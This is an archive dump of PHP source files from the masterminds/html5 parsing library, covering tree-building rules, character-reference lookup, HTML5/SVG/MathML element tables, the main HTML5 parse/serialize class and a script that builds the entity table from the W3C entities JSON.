     * Load a file input stream.
     *
     * @param string $data     The file or url path to load.
     * @param string $encoding The encoding to use for the data.
     * @param string $debug    A fprintf format to use to echo the data on stdout.
     */
    public function __construct($data, $encoding = 'UTF-8', $debug = '')
    {
        // Get the contents of the file.
        $content = file_get_contents($data);

        parent::__construct($content, $encoding, $debug);
    }
}
vendor/masterminds/html5/src/HTML5/Parser/TreeBuildingRules.php000066600000006311151150442750020406 0ustar00<?php

namespace Masterminds\HTML5\Parser;

/**
 * Handles special-case rules for the DOM tree builder.
 *
 * Many tags have special rules that need to be accomodated on an
 * individual basis. This class handles those rules.
 *
 * See section 8.1.2.4 of the spec.
 *
 * @todo - colgroup and col special behaviors
 *       - body and head special behaviors
 */
class TreeBuildingRules
{
    protected static $tags = array(
        'li' => 1,
        'dd' => 1,
        'dt' => 1,
        'rt' => 1,
        'rp' => 1,
        'tr' => 1,
        'th' => 1,
        'td' => 1,
        'thead' => 1,
        'tfoot' => 1,
        'tbody' => 1,
        'table' => 1,
        'optgroup' => 1,
        'option' => 1,
    );

    /**
     * Returns true if the given tagname has special processing rules.
     */
    public function hasRules($tagname)
    {
        return isset(static::$tags[$tagname]);
    }

    /**
     * Evaluate the rule for the current tag name.
     *
     * This may modify the existing DOM.
     *
     * @return \DOMElement The new Current DOM element.
     */
    public function evaluate($new, $current)
    {
        switch ($new->tagName) {
            case 'li':
                return $this->handleLI($new, $current);
            case 'dt':
            case 'dd':
                return $this->handleDT($new, $current);
            case 'rt':
            case 'rp':
                return $this->handleRT($new, $current);
            case 'optgroup':
                return $this->closeIfCurrentMatches($new, $current, array(
                    'optgroup',
                ));
            case 'option':
                return $this->closeIfCurrentMatches($new, $current, array(
                    'option',
                ));
            case 'tr':
                return $this->closeIfCurrentMatches($new, $current, array(
                    'tr',
                ));
            case 'td':
            case 'th':
                return $this->closeIfCurrentMatches($new, $current, array(
                    'th',
                    'td',
                ));
            case 'tbody':
            case 'thead':
            case 'tfoot':
            case 'table': // Spec isn't explicit about this, but it's necessary.

                return $this->closeIfCurrentMatches($new, $current, array(
                    'thead',
                    'tfoot',
                    'tbody',
                ));
        }

        return $current;
    }

    protected function handleLI($ele, $current)
    {
        return $this->closeIfCurrentMatches($ele, $current, array(
            'li',
        ));
    }

    protected function handleDT($ele, $current)
    {
        return $this->closeIfCurrentMatches($ele, $current, array(
            'dt',
            'dd',
        ));
    }

    protected function handleRT($ele, $current)
    {
        return $this->closeIfCurrentMatches($ele, $current, array(
            'rt',
            'rp',
        ));
    }

    protected function closeIfCurrentMatches($ele, $current, $match)
    {
        if (in_array($current->tagName, $match, true)) {
            $current->parentNode->appendChild($ele);
        } else {
            $current->appendChild($ele);
        }

        return $ele;
    }
}
vendor/masterminds/html5/src/HTML5/Parser/CharacterReference.php000066600000002773151150442750020541 0ustar00<?php

namespace Masterminds\HTML5\Parser;

use Masterminds\HTML5\Entities;

/**
 * Manage entity references.
 *
 * This is a simple resolver for HTML5 character reference entitites. See Entities for the list of supported entities.
 */
class CharacterReference
{
    protected static $numeric_mask = array(
        0x0,
        0x2FFFF,
        0,
        0xFFFF,
    );

    /**
     * Given a name (e.g. 'amp'), lookup the UTF-8 character ('&').
     *
     * @param string $name The name to look up.
     *
     * @return string The character sequence. In UTF-8 this may be more than one byte.
     */
    public static function lookupName($name)
    {
        // Do we really want to return NULL here? or FFFD
        return isset(Entities::$byName[$name]) ? Entities::$byName[$name] : null;
    }

    /**
     * Given a decimal number, return the UTF-8 character.
     *
     * @param $int
     *
     * @return false|string|string[]|null
     */
    public static function lookupDecimal($int)
    {
        $entity = '&#' . $int . ';';

        // UNTESTED: This may fail on some planes. Couldn't find full documentation
        // on the value of the mask array.
        return mb_decode_numericentity($entity, static::$numeric_mask, 'utf-8');
    }

    /**
     * Given a hexidecimal number, return the UTF-8 character.
     *
     * @param $hexdec
     *
     * @return false|string|string[]|null
     */
    public static function lookupHex($hexdec)
    {
        return static::lookupDecimal(hexdec($hexdec));
    }
}
vendor/masterminds/html5/src/HTML5/Elements.php000066600000050101151150442750015332 0ustar00<?php
/**
 * Provide general element functions.
 */

namespace Masterminds\HTML5;

/**
 * This class provides general information about HTML5 elements,
 * including syntactic and semantic issues.
 * Parsers and serializers can
 * use this class as a reference point for information about the rules
 * of various HTML5 elements.
 *
 * @todo consider using a bitmask table lookup. There is enough overlap in
 *       naming that this could significantly shrink the size and maybe make it
 *       faster. See the Go teams implementation at https://code.google.com/p/go/source/browse/html/atom.
 */
class Elements
{
    /**
     * Indicates an element is described in the specification.
     */
    const KNOWN_ELEMENT = 1;

    // From section 8.1.2: "script", "style"
    // From 8.2.5.4.7 ("in body" insertion mode): "noembed"
    // From 8.4 "style", "xmp", "iframe", "noembed", "noframes"
    /**
     * Indicates the contained text should be processed as raw text.
     */
    const TEXT_RAW = 2;

    // From section 8.1.2: "textarea", "title"
    /**
     * Indicates the contained text should be processed as RCDATA.
     */
    const TEXT_RCDATA = 4;

    /**
     * Indicates the tag cannot have content.
     */
    const VOID_TAG = 8;

    // "address", "article", "aside", "blockquote", "center", "details", "dialog", "dir", "div", "dl",
    // "fieldset", "figcaption", "figure", "footer", "header", "hgroup", "menu",
    // "nav", "ol", "p", "section", "summary", "ul"
    // "h1", "h2", "h3", "h4", "h5", "h6"
    // "pre", "listing"
    // "form"
    // "plaintext"
    /**
     * Indicates that if a previous event is for a P tag, that element
     * should be considered closed.
     */
    const AUTOCLOSE_P = 16;

    /**
     * Indicates that the text inside is plaintext (pre).
     */
    const TEXT_PLAINTEXT = 32;

    // See https://developer.mozilla.org/en-US/docs/HTML/Block-level_elements
    /**
     * Indicates that the tag is a block.
     */
    const BLOCK_TAG = 64;

    /**
     * Indicates that the tag allows only inline elements as child nodes.
     */
    const BLOCK_ONLY_INLINE = 128;

    /**
     * Elements with optional end tags that cause auto-closing of previous and parent tags,
     * as example most of the table related tags, see https://www.w3.org/TR/html401/struct/tables.html
     * Structure is as follows:
     * TAG-NAME => [PARENT-TAG-NAME-TO-CLOSE1, PARENT-TAG-NAME-TO-CLOSE2, ...].
     *
     * Order is important, after auto-closing one parent with might have to close also their parent.
     *
     * @var array<string, string[]>
     */
    public static $optionalEndElementsParentsToClose = array(
        'tr' => array('td', 'tr'),
        'td' => array('td', 'th'),
        'th' => array('td', 'th'),
        'tfoot' => array('td', 'th', 'tr', 'tbody', 'thead'),
        'tbody' => array('td', 'th', 'tr', 'thead'),
    );

    /**
     * The HTML5 elements as defined in http://dev.w3.org/html5/markup/elements.html.
     *
     * @var array
     */
    public static $html5 = array(
        'a' => 1,
        'abbr' => 1,
        'address' => 65, // NORMAL | BLOCK_TAG
        'area' => 9, // NORMAL | VOID_TAG
        'article' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'aside' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'audio' => 1, // NORMAL
        'b' => 1,
        'base' => 9, // NORMAL | VOID_TAG
        'bdi' => 1,
        'bdo' => 1,
        'blockquote' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'body' => 1,
        'br' => 9, // NORMAL | VOID_TAG
        'button' => 1,
        'canvas' => 65, // NORMAL | BLOCK_TAG
        'caption' => 1,
        'cite' => 1,
        'code' => 1,
        'col' => 9, // NORMAL | VOID_TAG
        'colgroup' => 1,
        'command' => 9, // NORMAL | VOID_TAG
                        // "data" => 1, // This is highly experimental and only part of the whatwg spec (not w3c). See https://developer.mozilla.org/en-US/docs/HTML/Element/data
        'datalist' => 1,
        'dd' => 65, // NORMAL | BLOCK_TAG
        'del' => 1,
        'details' => 17, // NORMAL | AUTOCLOSE_P,
        'dfn' => 1,
        'dialog' => 17, // NORMAL | AUTOCLOSE_P,
        'div' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'dl' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'dt' => 1,
        'em' => 1,
        'embed' => 9, // NORMAL | VOID_TAG
        'fieldset' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'figcaption' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'figure' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'footer' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'form' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'h1' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'h2' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'h3' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'h4' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'h5' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'h6' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'head' => 1,
        'header' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'hgroup' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'hr' => 73, // NORMAL | VOID_TAG
        'html' => 1,
        'i' => 1,
        'iframe' => 3, // NORMAL | TEXT_RAW
        'img' => 9, // NORMAL | VOID_TAG
        'input' => 9, // NORMAL | VOID_TAG
        'kbd' => 1,
        'ins' => 1,
        'keygen' => 9, // NORMAL | VOID_TAG
        'label' => 1,
        'legend' => 1,
        'li' => 1,
        'link' => 9, // NORMAL | VOID_TAG
        'map' => 1,
        'mark' => 1,
        'menu' => 17, // NORMAL | AUTOCLOSE_P,
        'meta' => 9, // NORMAL | VOID_TAG
        'meter' => 1,
        'nav' => 17, // NORMAL | AUTOCLOSE_P,
        'noscript' => 65, // NORMAL | BLOCK_TAG
        'object' => 1,
        'ol' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'optgroup' => 1,
        'option' => 1,
        'output' => 65, // NORMAL | BLOCK_TAG
        'p' => 209, // NORMAL | AUTOCLOSE_P | BLOCK_TAG | BLOCK_ONLY_INLINE
        'param' => 9, // NORMAL | VOID_TAG
        'pre' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'progress' => 1,
        'q' => 1,
        'rp' => 1,
        'rt' => 1,
        'ruby' => 1,
        's' => 1,
        'samp' => 1,
        'script' => 3, // NORMAL | TEXT_RAW
        'section' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'select' => 1,
        'small' => 1,
        'source' => 9, // NORMAL | VOID_TAG
        'span' => 1,
        'strong' => 1,
        'style' => 3, // NORMAL | TEXT_RAW
        'sub' => 1,
        'summary' => 17, // NORMAL | AUTOCLOSE_P,
        'sup' => 1,
        'table' => 65, // NORMAL | BLOCK_TAG
        'tbody' => 1,
        'td' => 1,
        'textarea' => 5, // NORMAL | TEXT_RCDATA
        'tfoot' => 65, // NORMAL | BLOCK_TAG
        'th' => 1,
        'thead' => 1,
        'time' => 1,
        'title' => 5, // NORMAL | TEXT_RCDATA
        'tr' => 1,
        'track' => 9, // NORMAL | VOID_TAG
        'u' => 1,
        'ul' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'var' => 1,
        'video' => 1,
        'wbr' => 9, // NORMAL | VOID_TAG

        // Legacy?
        'basefont' => 8, // VOID_TAG
        'bgsound' => 8, // VOID_TAG
        'noframes' => 2, // RAW_TEXT
        'frame' => 9, // NORMAL | VOID_TAG
        'frameset' => 1,
        'center' => 16,
        'dir' => 16,
        'listing' => 16, // AUTOCLOSE_P
        'plaintext' => 48, // AUTOCLOSE_P | TEXT_PLAINTEXT
        'applet' => 0,
        'marquee' => 0,
        'isindex' => 8, // VOID_TAG
        'xmp' => 20, // AUTOCLOSE_P | VOID_TAG | RAW_TEXT
        'noembed' => 2, // RAW_TEXT
        );

    /**
     * The MathML elements.
     * See http://www.w3.org/wiki/MathML/Elements.
     *
     * In our case we are only concerned with presentation MathML and not content
     * MathML. There is a nice list of this subset at https://developer.mozilla.org/en-US/docs/MathML/Element.
     *
     * @var array
     */
    public static $mathml = array(
        'maction' => 1,
        'maligngroup' => 1,
        'malignmark' => 1,
        'math' => 1,
        'menclose' => 1,
        'merror' => 1,
        'mfenced' => 1,
        'mfrac' => 1,
        'mglyph' => 1,
        'mi' => 1,
        'mlabeledtr' => 1,
        'mlongdiv' => 1,
        'mmultiscripts' => 1,
        'mn' => 1,
        'mo' => 1,
        'mover' => 1,
        'mpadded' => 1,
        'mphantom' => 1,
        'mroot' => 1,
        'mrow' => 1,
        'ms' => 1,
        'mscarries' => 1,
        'mscarry' => 1,
        'msgroup' => 1,
        'msline' => 1,
        'mspace' => 1,
        'msqrt' => 1,
        'msrow' => 1,
        'mstack' => 1,
        'mstyle' => 1,
        'msub' => 1,
        'msup' => 1,
        'msubsup' => 1,
        'mtable' => 1,
        'mtd' => 1,
        'mtext' => 1,
        'mtr' => 1,
        'munder' => 1,
        'munderover' => 1,
    );

    /**
     * The svg elements.
     *
     * The Mozilla documentation has a good list at https://developer.mozilla.org/en-US/docs/SVG/Element.
     * The w3c list appears to be lacking in some areas like filter effect elements.
     * That list can be found at http://www.w3.org/wiki/SVG/Elements.
     *
     * Note, FireFox appears to do a better job rendering filter effects than chrome.
     * While they are in the spec I'm not sure how widely implemented they are.
     *
     * @var array
     */
    public static $svg = array(
        'a' => 1,
        'altGlyph' => 1,
        'altGlyphDef' => 1,
        'altGlyphItem' => 1,
        'animate' => 1,
        'animateColor' => 1,
        'animateMotion' => 1,
        'animateTransform' => 1,
        'circle' => 1,
        'clipPath' => 1,
        'color-profile' => 1,
        'cursor' => 1,
        'defs' => 1,
        'desc' => 1,
        'ellipse' => 1,
        'feBlend' => 1,
        'feColorMatrix' => 1,
        'feComponentTransfer' => 1,
        'feComposite' => 1,
        'feConvolveMatrix' => 1,
        'feDiffuseLighting' => 1,
        'feDisplacementMap' => 1,
        'feDistantLight' => 1,
        'feFlood' => 1,
        'feFuncA' => 1,
        'feFuncB' => 1,
        'feFuncG' => 1,
        'feFuncR' => 1,
        'feGaussianBlur' => 1,
        'feImage' => 1,
        'feMerge' => 1,
        'feMergeNode' => 1,
        'feMorphology' => 1,
        'feOffset' => 1,
        'fePointLight' => 1,
        'feSpecularLighting' => 1,
        'feSpotLight' => 1,
        'feTile' => 1,
        'feTurbulence' => 1,
        'filter' => 1,
        'font' => 1,
        'font-face' => 1,
        'font-face-format' => 1,
        'font-face-name' => 1,
        'font-face-src' => 1,
        'font-face-uri' => 1,
        'foreignObject' => 1,
        'g' => 1,
        'glyph' => 1,
        'glyphRef' => 1,
        'hkern' => 1,
        'image' => 1,
        'line' => 1,
        'linearGradient' => 1,
        'marker' => 1,
        'mask' => 1,
        'metadata' => 1,
        'missing-glyph' => 1,
        'mpath' => 1,
        'path' => 1,
        'pattern' => 1,
        'polygon' => 1,
        'polyline' => 1,
        'radialGradient' => 1,
        'rect' => 1,
        'script' => 3, // NORMAL | RAW_TEXT
        'set' => 1,
        'stop' => 1,
        'style' => 3, // NORMAL | RAW_TEXT
        'svg' => 1,
        'switch' => 1,
        'symbol' => 1,
        'text' => 1,
        'textPath' => 1,
        'title' => 1,
        'tref' => 1,
        'tspan' => 1,
        'use' => 1,
        'view' => 1,
        'vkern' => 1,
    );

    /**
     * Some attributes in SVG are case sensitive.
     *
     * This map contains key/value pairs with the key as the lowercase attribute
     * name and the value with the correct casing.
     */
    public static $svgCaseSensitiveAttributeMap = array(
        'attributename' => 'attributeName',
        'attributetype' => 'attributeType',
        'basefrequency' => 'baseFrequency',
        'baseprofile' => 'baseProfile',
        'calcmode' => 'calcMode',
        'clippathunits' => 'clipPathUnits',
        'contentscripttype' => 'contentScriptType',
        'contentstyletype' => 'contentStyleType',
        'diffuseconstant' => 'diffuseConstant',
        'edgemode' => 'edgeMode',
        'externalresourcesrequired' => 'externalResourcesRequired',
        'filterres' => 'filterRes',
        'filterunits' => 'filterUnits',
        'glyphref' => 'glyphRef',
        'gradienttransform' => 'gradientTransform',
        'gradientunits' => 'gradientUnits',
        'kernelmatrix' => 'kernelMatrix',
        'kernelunitlength' => 'kernelUnitLength',
        'keypoints' => 'keyPoints',
        'keysplines' => 'keySplines',
        'keytimes' => 'keyTimes',
        'lengthadjust' => 'lengthAdjust',
        'limitingconeangle' => 'limitingConeAngle',
        'markerheight' => 'markerHeight',
        'markerunits' => 'markerUnits',
        'markerwidth' => 'markerWidth',
        'maskcontentunits' => 'maskContentUnits',
        'maskunits' => 'maskUnits',
        'numoctaves' => 'numOctaves',
        'pathlength' => 'pathLength',
        'patterncontentunits' => 'patternContentUnits',
        'patterntransform' => 'patternTransform',
        'patternunits' => 'patternUnits',
        'pointsatx' => 'pointsAtX',
        'pointsaty' => 'pointsAtY',
        'pointsatz' => 'pointsAtZ',
        'preservealpha' => 'preserveAlpha',
        'preserveaspectratio' => 'preserveAspectRatio',
        'primitiveunits' => 'primitiveUnits',
        'refx' => 'refX',
        'refy' => 'refY',
        'repeatcount' => 'repeatCount',
        'repeatdur' => 'repeatDur',
        'requiredextensions' => 'requiredExtensions',
        'requiredfeatures' => 'requiredFeatures',
        'specularconstant' => 'specularConstant',
        'specularexponent' => 'specularExponent',
        'spreadmethod' => 'spreadMethod',
        'startoffset' => 'startOffset',
        'stddeviation' => 'stdDeviation',
        'stitchtiles' => 'stitchTiles',
        'surfacescale' => 'surfaceScale',
        'systemlanguage' => 'systemLanguage',
        'tablevalues' => 'tableValues',
        'targetx' => 'targetX',
        'targety' => 'targetY',
        'textlength' => 'textLength',
        'viewbox' => 'viewBox',
        'viewtarget' => 'viewTarget',
        'xchannelselector' => 'xChannelSelector',
        'ychannelselector' => 'yChannelSelector',
        'zoomandpan' => 'zoomAndPan',
    );

    /**
     * Some SVG elements are case sensitive.
     * This map contains these.
     *
     * The map contains key/value store of the name is lowercase as the keys and
     * the correct casing as the value.
     */
    public static $svgCaseSensitiveElementMap = array(
        'altglyph' => 'altGlyph',
        'altglyphdef' => 'altGlyphDef',
        'altglyphitem' => 'altGlyphItem',
        'animatecolor' => 'animateColor',
        'animatemotion' => 'animateMotion',
        'animatetransform' => 'animateTransform',
        'clippath' => 'clipPath',
        'feblend' => 'feBlend',
        'fecolormatrix' => 'feColorMatrix',
        'fecomponenttransfer' => 'feComponentTransfer',
        'fecomposite' => 'feComposite',
        'feconvolvematrix' => 'feConvolveMatrix',
        'fediffuselighting' => 'feDiffuseLighting',
        'fedisplacementmap' => 'feDisplacementMap',
        'fedistantlight' => 'feDistantLight',
        'feflood' => 'feFlood',
        'fefunca' => 'feFuncA',
        'fefuncb' => 'feFuncB',
        'fefuncg' => 'feFuncG',
        'fefuncr' => 'feFuncR',
        'fegaussianblur' => 'feGaussianBlur',
        'feimage' => 'feImage',
        'femerge' => 'feMerge',
        'femergenode' => 'feMergeNode',
        'femorphology' => 'feMorphology',
        'feoffset' => 'feOffset',
        'fepointlight' => 'fePointLight',
        'fespecularlighting' => 'feSpecularLighting',
        'fespotlight' => 'feSpotLight',
        'fetile' => 'feTile',
        'feturbulence' => 'feTurbulence',
        'foreignobject' => 'foreignObject',
        'glyphref' => 'glyphRef',
        'lineargradient' => 'linearGradient',
        'radialgradient' => 'radialGradient',
        'textpath' => 'textPath',
    );

    /**
     * Check whether the given element meets the given criterion.
     *
     * Example:
     *
     * Elements::isA('script', Elements::TEXT_RAW); // Returns true.
     *
     * Elements::isA('script', Elements::TEXT_RCDATA); // Returns false.
     *
     * @param string $name The element name.
     * @param int    $mask One of the constants on this class.
     *
     * @return bool true if the element matches the mask, false otherwise.
     */
    public static function isA($name, $mask)
    {
        return (static::element($name) & $mask) === $mask;
    }

    /**
     * Test if an element is a valid html5 element.
     *
     * @param string $name The name of the element.
     *
     * @return bool true if a html5 element and false otherwise.
     */
    public static function isHtml5Element($name)
    {
        // html5 element names are case insensitive. Forcing lowercase for the check.
        // Do we need this check or will all data passed here already be lowercase?
        return isset(static::$html5[strtolower($name)]);
    }

    /**
     * Test if an element name is a valid MathML presentation element.
     *
     * @param string $name The name of the element.
     *
     * @return bool true if a MathML name and false otherwise.
     */
    public static function isMathMLElement($name)
    {
        // MathML is case-sensitive unlike html5 elements.
        return isset(static::$mathml[$name]);
    }

    /**
     * Test if an element is a valid SVG element.
     *
     * @param string $name The name of the element.
     *
     * @return bool true if a SVG element and false otherise.
     */
    public static function isSvgElement($name)
    {
        // SVG is case-sensitive unlike html5 elements.
        return isset(static::$svg[$name]);
    }

    /**
     * Is an element name valid in an html5 document.
     * This includes html5 elements along with other allowed embedded content
     * such as svg and mathml.
     *
     * @param string $name The name of the element.
     *
     * @return bool true if valid and false otherwise.
     */
    public static function isElement($name)
    {
        return static::isHtml5Element($name) || static::isMathMLElement($name) || static::isSvgElement($name);
    }

    /**
     * Get the element mask for the given element name.
     *
     * @param string $name The name of the element.
     *
     * @return int the element mask.
     */
    public static function element($name)
    {
        if (isset(static::$html5[$name])) {
            return static::$html5[$name];
        }
        if (isset(static::$svg[$name])) {
            return static::$svg[$name];
        }
        if (isset(static::$mathml[$name])) {
            return static::$mathml[$name];
        }

        return 0;
    }

    /**
     * Normalize a SVG element name to its proper case and form.
     *
     * @param string $name The name of the element.
     *
     * @return string the normalized form of the element name.
     */
    public static function normalizeSvgElement($name)
    {
        $name = strtolower($name);
        if (isset(static::$svgCaseSensitiveElementMap[$name])) {
            $name = static::$svgCaseSensitiveElementMap[$name];
        }

        return $name;
    }

    /**
     * Normalize a SVG attribute name to its proper case and form.
     *
     * @param string $name The name of the attribute.
     *
     * @return string The normalized form of the attribute name.
     */
    public static function normalizeSvgAttribute($name)
    {
        $name = strtolower($name);
        if (isset(static::$svgCaseSensitiveAttributeMap[$name])) {
            $name = static::$svgCaseSensitiveAttributeMap[$name];
        }

        return $name;
    }

    /**
     * Normalize a MathML attribute name to its proper case and form.
     * Note, all MathML element names are lowercase.
     *
     * @param string $name The name of the attribute.
     *
     * @return string The normalized form of the attribute name.
     */
    public static function normalizeMathMlAttribute($name)
    {
        $name = strtolower($name);

        // Only one attribute has a mixed case form for MathML.
        if ('definitionurl' === $name) {
            $name = 'definitionURL';
        }

        return $name;
    }
}
vendor/masterminds/html5/src/HTML5/InstructionProcessor.php000066600000003364151150442750020010 0ustar00<?php
/**
 * A handler for processor instructions.
 */

namespace Masterminds\HTML5;

/**
 * Provide an processor to handle embedded instructions.
 *
 * XML defines a mechanism for inserting instructions (like PHP) into a
 * document. These are called "Processor Instructions." The HTML5 parser
 * provides an opportunity to handle these processor instructions during
 * the tree-building phase (before the DOM is constructed), which makes
 * it possible to alter the document as it is being created.
 *
 * One could, for example, use this mechanism to execute well-formed PHP
 * code embedded inside of an HTML5 document.
 */
interface InstructionProcessor
{
    /**
     * Process an individual processing instruction.
     *
     * The process() function is responsible for doing the following:
     * - Determining whether $name is an instruction type it can handle.
     * - Determining what to do with the data passed in.
     * - Making any subsequent modifications to the DOM by modifying the
     * DOMElement or its attached DOM tree.
     *
     * @param \DOMElement $element The parent element for the current processing instruction.
     * @param string      $name    The instruction's name. E.g. `&lt;?php` has the name `php`.
     * @param string      $data    All of the data between the opening and closing PI marks.
     *
     * @return \DOMElement The element that should be considered "Current". This may just be
     *                     the element passed in, but if the processor added more elements,
     *                     it may choose to reset the current element to one of the elements
     *                     it created. (When in doubt, return the element passed in.)
     */
    public function process(\DOMElement $element, $name, $data);
}
vendor/masterminds/html5/src/HTML5.php000066600000020542151150442750013564 0ustar00<?php

namespace Masterminds;

use Masterminds\HTML5\Parser\DOMTreeBuilder;
use Masterminds\HTML5\Parser\Scanner;
use Masterminds\HTML5\Parser\Tokenizer;
use Masterminds\HTML5\Serializer\OutputRules;
use Masterminds\HTML5\Serializer\Traverser;

/**
 * This class offers convenience methods for parsing and serializing HTML5.
 * It is roughly designed to mirror the \DOMDocument native class.
 */
class HTML5
{
    /**
     * Global options for the parser and serializer.
     *
     * @var array
     */
    private $defaultOptions = array(
        // Whether the serializer should aggressively encode all characters as entities.
        'encode_entities' => false,

        // Prevents the parser from automatically assigning the HTML5 namespace to the DOM document.
        'disable_html_ns' => false,
    );

    protected $errors = array();

    public function __construct(array $defaultOptions = array())
    {
        $this->defaultOptions = array_merge($this->defaultOptions, $defaultOptions);
    }

    /**
     * Get the current default options.
     *
     * @return array
     */
    public function getOptions()
    {
        return $this->defaultOptions;
    }

    /**
     * Load and parse an HTML file.
     *
     * This will apply the HTML5 parser, which is tolerant of many
     * varieties of HTML, including XHTML 1, HTML 4, and well-formed HTML
     * 3. Note that in these cases, not all of the old data will be
     * preserved. For example, XHTML's XML declaration will be removed.
     *
     * The rules governing parsing are set out in the HTML 5 spec.
     *
     * @param string|resource $file    The path to the file to parse. If this is a resource, it is
     *                                 assumed to be an open stream whose pointer is set to the first
     *                                 byte of input.
     * @param array           $options Configuration options when parsing the HTML.
     *
     * @return \DOMDocument A DOM document. These object type is defined by the libxml
     *                      library, and should have been included with your version of PHP.
     */
    public function load($file, array $options = array())
    {
        // Handle the case where file is a resource.
        if (is_resource($file)) {
            return $this->parse(stream_get_contents($file), $options);
        }

        return $this->parse(file_get_contents($file), $options);
    }

    /**
     * Parse a HTML Document from a string.
     *
     * Take a string of HTML 5 (or earlier) and parse it into a
     * DOMDocument.
     *
     * @param string $string  A html5 document as a string.
     * @param array  $options Configuration options when parsing the HTML.
     *
     * @return \DOMDocument A DOM document. DOM is part of libxml, which is included with
     *                      almost all distribtions of PHP.
     */
    public function loadHTML($string, array $options = array())
    {
        return $this->parse($string, $options);
    }

    /**
     * Convenience function to load an HTML file.
     *
     * This is here to provide backwards compatibility with the
     * PHP DOM implementation. It simply calls load().
     *
     * @param string $file    The path to the file to parse. If this is a resource, it is
     *                        assumed to be an open stream whose pointer is set to the first
     *                        byte of input.
     * @param array  $options Configuration options when parsing the HTML.
     *
     * @return \DOMDocument A DOM document. These object type is defined by the libxml
     *                      library, and should have been included with your version of PHP.
     */
    public function loadHTMLFile($file, array $options = array())
    {
        return $this->load($file, $options);
    }

    /**
     * Parse a HTML fragment from a string.
     *
     * @param string $string  the HTML5 fragment as a string
     * @param array  $options Configuration options when parsing the HTML
     *
     * @return \DOMDocumentFragment A DOM fragment. The DOM is part of libxml, which is included with
     *                              almost all distributions of PHP.
     */
    public function loadHTMLFragment($string, array $options = array())
    {
        return $this->parseFragment($string, $options);
    }

    /**
     * Return all errors encountered into parsing phase.
     *
     * @return array
     */
    public function getErrors()
    {
        return $this->errors;
    }

    /**
     * Return true it some errors were encountered into parsing phase.
     *
     * @return bool
     */
    public function hasErrors()
    {
        return count($this->errors) > 0;
    }

    /**
     * Parse an input string.
     *
     * @param string $input
     * @param array  $options
     *
     * @return \DOMDocument
     */
    public function parse($input, array $options = array())
    {
        $this->errors = array();
        $options = array_merge($this->defaultOptions, $options);
        $events = new DOMTreeBuilder(false, $options);
        $scanner = new Scanner($input, !empty($options['encoding']) ? $options['encoding'] : 'UTF-8');
        $parser = new Tokenizer($scanner, $events, !empty($options['xmlNamespaces']) ? Tokenizer::CONFORMANT_XML : Tokenizer::CONFORMANT_HTML);

        $parser->parse();
        $this->errors = $events->getErrors();

        return $events->document();
    }

    /**
     * Parse an input stream where the stream is a fragment.
     *
     * Lower-level loading function. This requires an input stream instead
     * of a string, file, or resource.
     *
     * @param string $input   The input data to parse in the form of a string.
     * @param array  $options An array of options.
     *
     * @return \DOMDocumentFragment
     */
    public function parseFragment($input, array $options = array())
    {
        $options = array_merge($this->defaultOptions, $options);
        $events = new DOMTreeBuilder(true, $options);
        $scanner = new Scanner($input, !empty($options['encoding']) ? $options['encoding'] : 'UTF-8');
        $parser = new Tokenizer($scanner, $events, !empty($options['xmlNamespaces']) ? Tokenizer::CONFORMANT_XML : Tokenizer::CONFORMANT_HTML);

        $parser->parse();
        $this->errors = $events->getErrors();

        return $events->fragment();
    }

    /**
     * Save a DOM into a given file as HTML5.
     *
     * @param mixed           $dom     The DOM to be serialized.
     * @param string|resource $file    The filename to be written or resource to write to.
     * @param array           $options Configuration options when serializing the DOM. These include:
     *                                 - encode_entities: Text written to the output is escaped by default and not all
     *                                 entities are encoded. If this is set to true all entities will be encoded.
     *                                 Defaults to false.
     */
    public function save($dom, $file, $options = array())
    {
        $close = true;
        if (is_resource($file)) {
            $stream = $file;
            $close = false;
        } else {
            $stream = fopen($file, 'wb');
        }
        $options = array_merge($this->defaultOptions, $options);
        $rules = new OutputRules($stream, $options);
        $trav = new Traverser($dom, $stream, $rules, $options);

        $trav->walk();
        /*
         * release the traverser to avoid cyclic references and allow PHP to free memory without waiting for gc_collect_cycles
         */
        $rules->unsetTraverser();
        if ($close) {
            fclose($stream);
        }
    }

    /**
     * Convert a DOM into an HTML5 string.
     *
     * @param mixed $dom     The DOM to be serialized.
     * @param array $options Configuration options when serializing the DOM. These include:
     *                       - encode_entities: Text written to the output is escaped by default and not all
     *                       entities are encoded. If this is set to true all entities will be encoded.
     *                       Defaults to false.
     *
     * @return string A HTML5 documented generated from the DOM.
     */
    public function saveHTML($dom, $options = array())
    {
        $stream = fopen('php://temp', 'wb');
        $this->save($dom, $stream, array_merge($this->defaultOptions, $options));

        $html = stream_get_contents($stream, -1, 0);

        fclose($stream);

        return $html;
    }
}
vendor/masterminds/html5/bin/entities.php000066600000001176151150442750014542 0ustar00<?php
/**
 * Fetch the entities.json file and convert to PHP datastructure.
 */

// The URL to the official entities JSON file.
$ENTITIES_URL = 'http://www.w3.org/TR/2012/CR-html5-20121217/entities.json';

$payload = file_get_contents($ENTITIES_URL);
$json = json_decode($payload);

$table = array();
foreach ($json as $name => $obj) {
    $sname = substr($name, 1, -1);
    $table[$sname] = $obj->characters;
}

echo '<?php
namespace Masterminds\\HTML5;
/** Entity lookup tables. This class is automatically generated. */
class Entities {
  public static $byName = ';
var_export($table);
echo ';
}' . PHP_EOL;
//print serialize($table);
